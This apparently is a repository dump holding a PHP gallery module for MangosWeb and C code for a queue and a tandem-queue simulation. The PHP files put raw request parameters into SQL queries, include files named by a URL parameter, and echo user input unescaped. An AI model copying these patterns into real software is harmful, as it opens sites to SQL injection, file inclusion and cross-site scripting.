<input type="submit" value="'.$module_lang['delete'].'" name="deletpic">
</form>
';
echo'
</td>
</tr>
<tr>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/lb.png" class="png" style="width: 12px; height: 12px;" border="0" height="12" width="12"></td>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_b.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="1" width="9"></td>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/rb.png" class="png" style="width: 12px; height: 12px;" border="0" height="12" width="12"></td>
</tr>';
}
unset($pictures);
echo '</tr></tbody></table>';
echo '<table><tbody><tr>';
if ((int)$page >> 1)
{
$prevpg = $page-1;
if (isset ($_GET['gal']))
echo '<td><a href="?module='. MODULE_NAME .'&sub=gallery&gal='. $_GET['gal'] .'&page='. $prevpg .'"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/arrow-left.gif">'. $module_lang['back'] .'</a></td>';
else
echo '<td><a href="?module='. MODULE_NAME .'&sub=gallery&page='. $prevpg .'"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/arrow-left.gif">'. $module_lang['back'] .'</a></td>';
}
else
echo '<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/arrow-left-grey.gif">'. $module_lang['back'] .'</td>';
echo '<td width="200">
<center><b> Page : '.$page.' </b></center>
</td>';
$lastpicsshown = (int)($picture['id']);
if ($lastpicsshown != $lastpicid)
{
$nextpg = $page+1;
if (isset ($_GET['gal']))
echo '<td><a href="?module='. MODULE_NAME .'&sub=gallery&gal='. $_GET['gal'] .'&page='. $nextpg .'">'. $module_lang['next'] .'<img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/arrow-right.gif"></a></td>';
else
echo '<td><a href="?module='. MODULE_NAME .'&sub=gallery&page='. $nextpg .'">'. $module_lang['next'] .'<img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/arrow-right.gif"></a></td>';
}
else
echo '<td>'. $module_lang['next'] .'<img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/arrow-right-grey.gif"></td>';
echo '</tr></tbody></table></center>';
unset($picture);
}
else
{
echo '<center>'.$module_lang['noimages'].'<br/>
<a href=?module='. MODULE_NAME .'&sub=add_image">'.$module_lang['befirst'].'</a></center>
';
}
/*
echo ' <center><br /><br /><a href="?module='. MODULE_NAME .'"><br />'.add_pictureletter('G').'';
echo '<br />o back to the gallery start page</a></center>';
*/
?>
<file_sep>/delete.php
<?php
//========================//
if(INCLUDED !== TRUE)
{
echo "No Direct File Linking Allowed!";
exit;
}
// ==================== //
if (!isset ($_GET['pic']))
{
echo '
<center>
'.$module_lang['nopictoedit'].'<br/>
<a href="?module='. MODULE_NAME .'">'.$module_lang[$galleries].' </a>
</center>
';
exit;
}
$picture = $DB->selectRow("SELECT * FROM mw_gallery WHERE `id`='".$_GET['pic']."'");
if ($user['username'] == $picture['autor'] or $user['account_level'] >= 3 )
{
echo '
<form method="post" action="?module='. MODULE_NAME .'" enctype="multipart/form-data">
<center>
<table style="margin: 7px;" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/lt.png" class="png" style="width: 12px; height: 9px;" border="0" height="0" width="0"></td>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_t.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="0" width="0"></td>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/rt.png" class="png" style="width: 12px; height: 9px;" border="0" height="0" width="0"></td>
</tr>
<tr>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_l.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="0" width="0"></td>
<td>
<a href="images/'. $picture['cat'] .'s/'. $picture['img'] .'" target="_blank"><img src="modules/'. MODULE_NAME .'/show_picture.php?filename='. $picture['img'] .'&gallery='. $picture['cat'] .'&width=282" width="282" alt="" style="border: 1px solid #333333"/>
</td>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_r.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="0" width="0"></td>
<td width="25" />
<td width="200">
<br /> '.$module_lang['comment'].': '.$picture['comment'].'
<br /> '.$module_lang['author'].": ".$picture['autor'].'
<br /> '.$module_lang['date'].": ".$picture['date'].'
</td>
</tr>
<tr>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/lb.png" class="png" style="width: 12px; height: 12px;" border="0" height="12" width="12"></td>
<td background="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_b.gif"><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/_.gif" height="1" width="9"></td>
<td><img src="modules/'. MODULE_NAME .'/templates/'.$moduletheme.'/frame/rb.png" class="png" style="width: 12px; height: 12px;" border="0" height="12" width="12"></td>
</tr>
</tr>
</tbody>
</table>
<input type="hidden" name="postnewfile" value="POST">
<input type="hidden" name="oldgal" value="'.$picture['cat'].'">
<input type="hidden" name="picid" value="'.$_GET['pic'].'">
<input type="hidden" name="galtype" value="deleted">
<b>'.$module_lang['deleteconfirm'].'</b>
<input type="submit" value="'.$module_lang['delete'].'" name="dodelete">
<input type="submit" value="'.$module_lang['cancel'].'" name="cancel">
<br/>
</center>
</form>
';
}
else
{
echo'
<center>
'.$module_lang['notowneredit'].'<br/>
<a href="?module='. MODULE_NAME .'">'.$module_lang[$galleries].' </a>
</center>
';
exit;
}
?><file_sep>/SQLs/mw_gallery-01.sql
-- This column is needed for the delete image feature!
ALTER TABLE `mw_gallery` ADD `oldcat` VARCHAR( 255 ) CHARACTER SET cp1251 COLLATE cp1251_general_ci NOT NULL;<file_sep>/module.php
<?php
/*
Module Development Kit v1.0 For MangosWeb Enhanced
Built for MangosWeb v3 Module System v1.0
Always Keep the following lines until you see
where i say END OF REQUIRED. Very Important
*/
//========================//
if(INCLUDED !== TRUE)
{
echo "No Direct File Linking Allowed!";
exit;
}
// ==================== //
// Define the module name
define('MODULE_NAME', $_GET['module']);
// Lets get the module path, so when we include images we can go " echo "MODULE_PATH .'images/image.png'"
// rather then "modules/test/images/image.png"
define('MODULE_PATH', 'modules/'. MODULE_NAME .'/');
// !!! - If you have a functions file that needs loading before the header, put here. - !!!
// include( MODULE_PATH.'functions.php');
// =============== START OF TEMPLATE HEADER INTEGRATION ===============//
// Remove the following lines (28 - 50) if you DONT want to
// implement into the current template. Also remove lines in the
// footer. Look below
// Start include of template header and functions file
if(file_exists($Template['functions']))
{
include($Template['functions']);
}
ob_start();
include($Template['header']);
ob_end_flush();
// To start the div's of our module for template integration
// Official templates will have this function
if(function_exists('Content_Div_Start'))
{
echo "<br />";
Content_Div_Start();
}
// ================ END OF TEMPLATE HEADER INTEGRATION ================//
/***************************************************************
* END OF REQUIRED - Edit below this line!
***************************************************************/
// include the module config file(s)
include(MODULE_PATH .'config/config.php');
include(MODULE_PATH .'config/lang_'.$GLOBALS["user_cur_lang"].'.php');
//getting module theme from site theme
If (isset($user['theme']))
{
$template_list = explode(",", $Config->get('templates'));
$modulethemenum = $user['theme'];
foreach ($template_list as $template)
{
$currtmp2[] = $template ;
}
$moduletheme = $currtmp2[$modulethemenum];
}
else
$moduletheme = 'WotLK';
if (file_exists('templates/'.$moduletheme.'/frame/_.gif'))
{
$moduletheme = $moduletheme;
}
else
$moduletheme = 'WotLK';
// If URL looks like this ?module= xxx $sub= xxx
if(isset($_GET['page']))
{
$page=$_GET['page'];
include(MODULE_PATH . $_GET['sub'] .'.php');
}
elseif(isset($_GET['sub']))
{
include(MODULE_PATH . $_GET['sub'] .'.php');
}
else
{
include(MODULE_PATH . 'index.php');
}
/***************************************************************
* REQUIRED - Donot Edit below this line unless you know what your doing!
***************************************************************/
// =============== START OF TEMPLATE FOOTER INTEGRATION ===============//
// To end the div's of our module for template integration
if(function_exists('Content_Div_End'))
{
Content_Div_End();
}
// Set our time end, so we can see how fast the page loaded.
define('TIME_END', microtime(1));
define('PAGE_LOAD_TIME', TIME_END - TIME_START);
// Include the template footer
include($Template['footer']);
// ================ END OF TEMPLATE FOOTER INTEGRATION ================//
?><file_sep>/add_image.php
<?php
//========================//
if(INCLUDED !== TRUE)
{
echo "No Direct File Linking Allowed!";
exit;
}
// ==================== //
/*
echo "<center>It Works! Loaded the page!</center>";
echo ' <center><a href="?module='. MODULE_NAME .'"><br />Click here to return</a></center> ';
if(isset($page))
{
echo ' <center>You are on page '. $page .'</center> ';
}
*/
if ($user['username'] == 'Guest')
{
echo '<b>'.$module_lang['mustlogin'].'</b>';
exit;
}
if (isset($_POST['doadd']))
{
if (isset ($_POST['galtype']))
{
$galtype=$_POST['galtype'];
}
else
{
echo $module_lang['selecttype'];
exit;
}
$img=isset ($_FILES["filename"]["name"]) ? $_FILES["filename"]["name"] : '';
$comment=isset($_POST['message']) ? $_POST['message'] : '';
$autor=$user['username'];
$date=date("Y-m-d");
if($_FILES["filename"]["size"] > (1024*$Module_Config['maxfilesize']*1024) )
{
echo $module_lang['filesize'];
echo " ";
echo $Module_Config['maxfilesize'];
echo 'Mb';
exit;
}
if(!in_array($_FILES["filename"]["type"], array("image/jpeg", "image/pjpeg", "image/jpg")))
{
echo $module_lang['nonfiletype'];
echo ("<br/>");
exit;
}
if($DB->selectCell("SELECT count(*) FROM `mw_gallery` WHERE img='".$img."' AND cat='".$galtype."'"))
{
echo $module_lang['ErrorFilename'];
exit;
}
if(copy($_FILES["filename"]["tmp_name"],"../".$Module_Config['mangwebdir']."/images/".$galtype."s/".$_FILES["filename"]["name"].""))
{
$DB->query("INSERT INTO mw_gallery (img,comment,autor,date,cat) VALUES('".$img."','".$comment."','".$autor."',current_date,'".$galtype."')");
}
else
{
echo $module_lang['Uploaderror'];
}
}
echo '
<form method="post" action="index.php?module='. MODULE_NAME .'&sub=add_image" enctype="multipart/form-data">
<select name="galtype">
<option value="">'.$module_lang['galtype'].' -></option>
';
foreach($Gal_list as $listings)
{
echo"
<option value=".$listings.">".$module_lang[$listings]."</option>";
}
echo'
</select>
<br/>
'.$module_lang['author'].': <b>'.$user['username'].'</b><br/>
'.$module_lang['comment'].':<br/>
<textarea name="message" cols="5" rows="5" id="textarea" style="width: 40%; height: 70px;"></textarea><br/>
'.$module_lang['file'].':<br/>
<input type="hidden" name="postnewfile" value="POST">
<input type="file" name="filename"><br/>
<font color="red"><b>'.$module_lang['filesize'].': '.$Module_Config['maxfilesize'].' Mb</b></font>
<center>
<input type="submit" value="'.$module_lang['upload'].'" name="doadd">
<input type="submit" value="'.$module_lang['cancel'].'" name="cancel">
<br/>
</center>
';
echo '
</form>
';
echo '
<form method="post" action="index.php?module='. MODULE_NAME .'" enctype="multipart/form-data">
<center>
<input type="submit" value="'.$module_lang['home'].'" name="mainmenu">
</center>
</form>
';
?><file_sep>/index.php
<?php
//========================//
if(INCLUDED !== TRUE)
{
echo "No Direct File Linking Allowed!";
exit;
}
// ==================== //
// To access site config variables, use $Config->get(' VARIABLE NAME ');
// Here is an example trying to get an echo the site title. NOTE that
// (string) is not required by all variables, Just on strings
//echo 'Example 1: Site Title = '.(string)$Config->get('site_title');
//echo '<br /><br />'.add_pictureletter('Example 2: Module Config -> Title =').''.(string)$Module_Config['title'];
// To Access the DB. Its the same way as the site. Use $DB to access the realm
// Database. $CDB accesses the character DB, and $WDB accesses the world DB
// Please refer to the MangosWeb Wiki for different database querys such as
// select, query, selectCell, selectRow, and count.
//echo '<br /><br /><br />Example 3:';
//$username = $DB->selectCell("SELECT `username` FROM `account` WHERE `id` > 1 LIMIT 1");
//echo ''.add_pictureletter('Random account from the database - ').''.$username.'';
//echo '<br /><br /><br />'.add_pictureletter('Example 4: Loading other pages within the module.').'';
//echo '<a href="?module='. MODULE_NAME .'&sub=screenshot_gallery&page=1"><br />'.add_pictureletter('screenshots').'';
//echo '<br />Gallery</a> ';
//echo '<br /><a href="?module='. MODULE_NAME .'&sub=wallpaper_gallery&page=1"><br />'.add_pictureletter('wallpapers').'';
//echo '<br />Gallery</a> ';
//**************** Commits an edit to the db **************************//
if (isset($_POST['doedit']))
{
if (isset ($_POST['galtype']))
{
$galtype=$_POST['galtype'];
$oldgaltype=$DB->selectCell("SELECT `cat` FROM `mw_gallery` WHERE `id`= '".$_POST['picid']."'");
}
else
{
echo $module_lang['selecttype'];
exit;
}
$img=isset ($_FILES["filename"]["name"]) ? $_FILES["filename"]["name"] : '';
$comment=isset($_POST['message']) ? $_POST['message'] : '';
$autor=$user['username'];
$date=date("Y-m-d");
$filemane=$DB->selectCell("SELECT `img` FROM `mw_gallery` WHERE `id`= '".$_POST['picid']."'");
if ($oldgaltype == $galtype)
{
$DB->query("update `mw_gallery` SET `comment`='".$comment."' WHERE `id`='".$_POST['picid']."'");
echo ''.$module_lang['editsuccess'].'<br/>';
}
elseif ($oldgaltype == 'deleted')
{
$oldgaltype=$DB->selectCell("SELECT `oldcat` FROM `mw_gallery` WHERE `id`= '".$_POST['picid']."'");
if(copy("../".$Module_Config['mangwebdir']."/images/".$oldgaltype."s/".$filemane."","../".$Module_Config['mangwebdir']."/images/".$galtype."s/".$filemane.""))
{
$DB->query("update `mw_gallery` SET `comment`='".$comment."',`cat`='".$galtype."' WHERE `id`='".$_POST['picid']."'");
echo ''.$module_lang['editsuccess'].'<br/>';
}
else
{
$DB->query("update `mw_gallery` SET `comment`='".$comment."',`cat`='".$galtype."',`oldcat`='' WHERE `id`='".$_POST['picid']."'");
echo ''.$module_lang['editsuccess'].'<br/>';
}
}
Else
{
if(copy("../".$Module_Config['mangwebdir']."/images/".$oldgaltype."s/".$filemane."","../".$Module_Config['mangwebdir']."/images/".$galtype."s/".$filemane.""))
{
$DB->query("update `mw_gallery` SET `comment`='".$comment."',`cat`='".$galtype."' WHERE `id`='".$_POST['picid']."'");
echo ''.$module_lang['editsuccess'].'<br/>';
}
else
{
echo $module_lang['Uploaderror'];
}
}
}
//**************** Commits a delete to the db **************************//
if (isset($_POST['dodelete']))
{
// UPDATE `mw_gallery` SET `cat` = 'deleted', `oldcat` = 'wallpaper' WHERE `id` = 1;
$DB->query("update `mw_gallery` SET `cat` = 'deleted', `oldcat` = '".$_POST['oldgal']."' WHERE `id`='".$_POST['picid']."';");
echo ''.$module_lang['deletesuccess'].'<br/>';
}
//**************** Prints main menu **************************//
foreach ($Gal_list as $galleries)
{
echo '<a href="?module='. MODULE_NAME .'&sub=gallery&gal='. $galleries .'&page=1"><br />'.add_pictureletter($module_lang[$galleries]).'';
echo '<br/>'.$module_lang['gallery'].'</a>';
echo '<br/>';
}
echo '<a href="?module='. MODULE_NAME .'&sub=gallery&page=1"><br />'.add_pictureletter($module_lang['allimages']).'';
echo '<br/>'.$module_lang['inthegallery'].'</a>';
echo '<br/>';
if ($user['account_level'] >= 3)
{
if ( (int)$DB->selectCell("SELECT COUNT(`id`) FROM `mw_gallery` WHERE `cat` ='deleted';") >> 0)
{
echo '<a href="?module='. MODULE_NAME .'&sub=gallery&gal=deleted&page=1"><br />'.add_pictureletter($module_lang['deleted']).'';
echo '<br/>'.$module_lang['images'].'</a>';
echo '<br/>';
}
}
echo '<a href="?module='. MODULE_NAME .'&sub=add_image"><br />'.add_pictureletter($module_lang['addyourown']).'';
echo '<br/>'.$module_lang['images'].'</a> ';
?><file_sep>/config/config.php
<?php
$Module_Config = array(
'mangwebdir' => 'mangweb', // This is the name of the folder that contains the main web site
'copyright' => 'There isnt one ;)',
'allowupload' => 1, // use 1 for yes or 0 for no
'maxfilesize' => 4, //in bytes??
'pagelimit' => 5 //max number of images per page.
);
$Gal_list = array(
'1' => 'screenshot',
'2' => 'wallpaper'//,
//'3' => 'newcat'
);
|
7ace8458ce2d5a1eaa65af6b73a8e2f5985a28b4
|
[
"SQL",
"PHP"
] | 8 |
PHP
|
jagodragon/Photo_Gallery
|
37a703fac317996c1e5d4c8d11c1ce97d42df64d
|
b7877a42f4413c3c8ef1c00ea5475cdcb422fbe4
|
refs/heads/master
|
<repo_name>katelynmorehouse/blog-engine<file_sep>/run.command
python ~/Documents/github\ /blog-engine/manage.py runserver
|
fd8554fb546c935077102f919fa68ad84c110fcb
|
[
"Shell"
] | 1 |
Shell
|
katelynmorehouse/blog-engine
|
cad592145125ba34a24f952c8b72f3cada0433b9
|
172c704c620a3c18ed880286e809515ab4417e1b
|
refs/heads/master
|
<file_sep>/* Implement and test FIFO queue for use in simulation */
#include <stdio.h>
#include <stdlib.h>
/* Define linked list node */
typedef struct node {
float t;
struct node * next;
} node_t;
void enqueue(node_t * head, int t);
float dequeue(node_t ** head);
void print_list(node_t * head);
int main() {
/* Initialize linked list */
node_t * head = NULL;
head = malloc(sizeof(node_t));
if (head == NULL) {
return 1;
}
head->t = 0.0;
head->next = NULL;
/* Mock enqueue/dequeue sequence */
enqueue(head, 1);
enqueue(head, 2);
dequeue(&head);
enqueue(head, 3);
dequeue(&head);
enqueue(head, 4);
/* Print linked list contents and return */
print_list(head);
return 1;
}
/* Push to the queue */
void enqueue(node_t * head, int t) {
/* Set temporary pointer to head's location */
node_t * tmp = head;
/* Iterate to the end of the linked list */
while(tmp->next != NULL) {
tmp = tmp->next;
}
/* Add this node to the end of the list */
tmp->next = malloc(sizeof(node_t));
tmp->next->t = t;
tmp->next->next = NULL;
}
/* Pop from the queue and return the head's data */
float dequeue(node_t ** head) {
float pop = 0.0;
node_t * tmp = NULL;
/* Check for null list */
if (head == NULL) {
return -1.0;
}
/* Free head data and assign head pointer to the next node in the queue */
tmp = (*head)->next;
pop = (*head)->t;
free(*head);
*head = tmp;
/* Return data for the previous head */
return pop;
}
/* Print the contents of the linked list */
void print_list(node_t * head) {
node_t * tmp = head;
while (tmp != NULL) {
fprintf(stdout, "%f\n", tmp->t);
tmp = tmp->next;
}
}<file_sep>/* Tandem queueing DES simulator. Accounts for transit times between the
first and second queues. Transit times are distributed uniformly
between 0 and 2 minutes. */
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "lcgrand.h" /* Header file for exponential random-number generator */
#include "mrand.h" /* Header file for uniform random-number generator */
#define Q_LIMIT 150 /* Limit on queue length. */
#define BUSY 1 /* Mnemonics for server's being busy */
#define IDLE 0 /* and idle. */
int next_event_type, num_custs_delayed, num_events, num_in_q[2], server_status[2],
num_in_transit, max_in_transit;
float area_num_in_q[2], area_server_status[2], mean_interarrival, mean_service[2],
sim_time, time_end, time_arrival[Q_LIMIT + 1], second_time_arrival[Q_LIMIT + 1],
time_last_event, time_next_event[6], total_of_delays[2], area_in_transit;
FILE *infile, *outfile, *debugfile;
void initialize(void);
void timing(void);
void queue1_arrival(void);
void queue1_departure(void);
void queue2_arrival(void);
void queue2_departure(void);
void report(void);
void update_time_avg_stats(void);
float expon(float mean);
float uniform(int b);
int main() /* Main function. */
{
/* Open input and output files. */
infile = fopen("transit.in", "r");
outfile = fopen("transit.out", "w");
debugfile = fopen("debug.out", "w");
/* Specify the number of events for the timing function. */
num_events = 5;
/* Read input parameters. */
fscanf(infile, "%f %f %f %f", &mean_interarrival, &mean_service[0],
&mean_service[1], &time_end);
/* Write report heading and input parameters. */
fprintf(outfile, "Tandem-server queueing system\n\n");
fprintf(outfile, "Mean interarrival time%11.3f minutes\n\n",
mean_interarrival);
fprintf(outfile, "SRVR1 mean service time%16.3f minutes\n\n", mean_service[0]);
fprintf(outfile, "SRVR2 mean service time%16.3f minutes\n\n", mean_service[1]);
fprintf(outfile, "Length of the simulation%16.3f minutes\n\n", time_end);
int replications = 10;
/* Run simulation ten times total */
for (int i = 0; i < replications; i++) {
/* Initialize the simulation. */
initialize();
/* Run the simulation until the end time is reached */
do {
/* Determine the next event. */
timing();
/* Update time-average statistical accumulators. */
update_time_avg_stats();
/* Log loop information to debug file */
fprintf(debugfile, "\nCALL:%d TIME:%f\n", next_event_type, sim_time);
fprintf(debugfile, "#Q1 :%d #Q2 :%d\n", num_in_q[0], num_in_q[1]);
fprintf(debugfile, "SRV1:%d SRV2:%d\n",
server_status[0], server_status[1]);
/* Invoke the appropriate event function. */
switch (next_event_type)
{
case 1:
queue1_arrival();
break;
case 2:
queue1_departure();
break;
case 3:
queue2_arrival();
break;
case 4:
queue2_departure();
break;
case 5:
report();
break;
}
/* If the last event was not the end-simulation event, continue */
} while (next_event_type != 5);
}
fclose(infile);
fclose(outfile);
return 0;
}
void initialize(void) /* Initialization function. */
{
int i;
/* Initialize the simulation clock. */
sim_time = 0.0;
/* Initialize the state variables and statistical counters. */
for (i = 0; i < 2; i++) {
server_status[i] = IDLE;
num_in_q[i] = 0;
total_of_delays[i] = 0.0;
area_num_in_q[i] = 0.0;
area_server_status[i] = 0.0;
area_in_transit = 0.0;
}
num_in_transit = 0;
max_in_transit = 0;
num_custs_delayed = 0;
time_last_event = 0.0;
/* Initialize event list. Since no customers are present, the departure
(service completion) and tandem switch events are eliminated from consideration. */
time_next_event[1] = sim_time + expon(mean_interarrival);
time_next_event[2] = 1.0e+30;
time_next_event[3] = 1.0e+30;
time_next_event[4] = 1.0e+30;
time_next_event[5] = time_end;
}
void timing(void) /* Timing function. */
{
int i;
float min_time_next_event = 1.0e+29;
next_event_type = 0;
/* Determine the event type of the next event to occur. */
for (i = 1; i <= num_events; ++i)
if (time_next_event[i] < min_time_next_event)
{
min_time_next_event = time_next_event[i];
next_event_type = i;
}
/* Check to see whether the event list is empty. */
if (next_event_type == 0)
{
/* The event list is empty, so stop the simulation. */
fprintf(outfile, "\nEvent list empty at time %f", sim_time);
exit(1);
}
/* The event list is not empty, so advance the simulation clock. */
sim_time = min_time_next_event;
}
void queue1_arrival(void) /* Arrive in the system (queue one) */
{
float delay;
/* Schedule next arrival. */
time_next_event[1] = sim_time + expon(mean_interarrival);
/* Check to see whether server is busy. */
if (server_status[0] == BUSY) {
/* Server is busy, so increment number of customers in the first queue. */
++num_in_q[0];
/* Check to see whether an overflow condition exists. */
if (num_in_q[0] > Q_LIMIT) {
/* The queue has overflowed, so stop the simulation. */
fprintf(outfile, "\nOverflow of the first array time_arrival at");
fprintf(outfile, " time %f \n\n", sim_time);
exit(2);
}
/* There is still room in the queue, so store the time of arrival of the
arriving customer at the (new) end of time_arrival. */
time_arrival[num_in_q[0]] = sim_time;
}
else {
/* Server is idle, so arriving customer has a delay of zero.*/
delay = 0.0;
total_of_delays[0] += delay;
/* Increment the number of customers delayed, and make server busy. */
++num_custs_delayed;
server_status[0] = BUSY;
/* Schedule arrival at the second queue */
time_next_event[2] = sim_time + expon(mean_service[0]);
}
}
/* Tandem-queue switching function. Removes the customer from the first service
queue, then adds the customer to the second service queue and schedules departure */
void queue1_departure(void)
{
int i;
float delay;
/* Check to see whether the first queue is empty */
if (num_in_q[0] == 0) {
/* The first queue is empty so make the server idle */
server_status[0] = IDLE;
time_next_event[2] = 1.0e+30;
}
/* Decrement the number of customers in the first queue. */
else {
--num_in_q[0];
/* Compute the delay of the customer who is beginning service and update
the total delay accumulator. */
delay = sim_time - time_arrival[1];
total_of_delays[0] += delay;
/* Increment number of customers delayed */
++num_custs_delayed;
server_status[0] = BUSY;
/* Schedule next queue 1 departure */
time_next_event[2] = sim_time + expon(mean_service[0]);
/* Schedule next arrival at queue 2 */
time_next_event[3] = sim_time + uniform(2);
num_in_transit++;
/* Move each customer in queue (if any) up one place. */
for (i = 1; i <= num_in_q[0]; ++i)
time_arrival[i] = time_arrival[i + 1];
}
}
void queue2_arrival(void) /* Arrive at the second queue */
{
float delay;
/* Wait for the next arrival afterward*/
if (num_in_transit == 0) {
time_next_event[3] = 1.0e30;
}
else {
num_in_transit--;
}
/* Check to see whether the second server is busy. */
if (server_status[1] == BUSY) {
/* Second server is busy, so increment the number of customers in
* the second queue. */
++num_in_q[1];
if (num_in_q[1] > Q_LIMIT) {
/* The second queue has overflowed; stop the simulation. */
fprintf(outfile, "\nOverflow of the second array time_arrival at");
fprintf(outfile, " time %f \n\n", sim_time);
exit(2);
}
/* There is still room in the queue, so so store the time of arrival of the
* switching customer at the end of the second_time_arrival array. */
second_time_arrival[num_in_q[1]] = sim_time;
}
else {
/* Second server is idle; current customer has delay of 0 */
delay = 0.0;
total_of_delays[1] += delay;
/* Make second server busy, but do not increment number of customers delayed */
server_status[1] = BUSY;
/* Schedule system departure for the current customer*/
time_next_event[4] = sim_time + expon(mean_service[1]);
}
}
void queue2_departure(void) /* Departure event function. */
{
int i;
float delay;
/* Check to see whether the queue is empty. */
if (num_in_q[1] == 0) {
/* The queue is empty so make the server idle and eliminate the
departure (service completion) event from consideration. */
server_status[1] = IDLE;
time_next_event[4] = 1.0e+30;
}
else {
/* The queue is nonempty, so decrement the number of customers in
queue. */
--num_in_q[1];
/* Compute the delay of the customer who is beginning service and update
the total delay accumulator. */
delay = sim_time - second_time_arrival[1];
total_of_delays[1] += delay;
/* Increment the number of customers delayed, and schedule departure. */
++num_custs_delayed;
/* Make server busy and schedule departure */
server_status[1] = BUSY;
time_next_event[4] = sim_time + expon(mean_service[1]);
/* Move each customer in queue (if any) up one place. */
for (i = 1; i <= num_in_q[1]; ++i)
second_time_arrival[i] = second_time_arrival[i + 1];
}
}
void report(void) /* Report generator function. */
{
/* Compute and write estimates of desired measures of performance. */
fprintf(outfile, "\n\nAverage delay in system: %10.3f minutes\n\n",
(total_of_delays[0] + total_of_delays[1]) / num_custs_delayed);
fprintf(outfile, "Average delays in queue 1:%10.3f minutes\n",
total_of_delays[0] / num_custs_delayed);
fprintf(outfile, "Average number in queue 1:%10.3f customers\n\n",
area_num_in_q[0] / sim_time);
fprintf(outfile, "Average delays in queue 2:%10.3f minutes\n",
total_of_delays[1] / num_custs_delayed);
fprintf(outfile, "Average number in queue 2:%10.3f customers\n\n",
area_num_in_q[1] / sim_time);
fprintf(outfile, "Average number in transit:%10.3f customers\n",
area_in_transit / sim_time);
fprintf(outfile, "Maximum number in transit:%10.3f customers\n\n",
(float) max_in_transit);
fprintf(outfile, "SERVER ONE utilization: %7.3f\n",
area_server_status[0] / sim_time);
fprintf(outfile, "SERVER TWO utilization: %7.3f\n\n",
area_server_status[1] / sim_time);
fprintf(outfile, "Simulation end time: %10.3f minutes\n\n", sim_time);
}
void update_time_avg_stats(void) /* Update area accumulators for time-average
statistics. */
{
int i;
float time_since_last_event;
/* Compute time since last event, and update last-event-time marker. */
time_since_last_event = sim_time - time_last_event;
time_last_event = sim_time;
/* Update area under number-in-queue and server-busy indicator function. */
for(i = 0; i < 2; i++) {
area_num_in_q[i] += num_in_q[i] * time_since_last_event;
area_server_status[i] += server_status[i] * time_since_last_event;
area_in_transit += num_in_transit * time_since_last_event;
}
/* Update the maxium number of customers in transit*/
if (num_in_transit > max_in_transit) {
max_in_transit = num_in_transit;
}
}
float expon(float mean) /* Exponential variate generation function. */
{
/* Return an exponential random variate with mean "mean". */
return -mean * log(lcgrand(1));
}
float uniform(int b) /* Uniform variate generation function */
{
/* Return uniform variate on [0,1] */
return mrand(1)*b;
}
|
c05a04b85f0764b1e9f9719ba995272d477eaa83
|
[
"C"
] | 2 |
C
|
dchar/tandemDES
|
ad899ce86971704a2f2efbe0269c8c9d1d507ecd
|
d3c453140cfc5f3904e0577ec488ab1130b5d4b0
|
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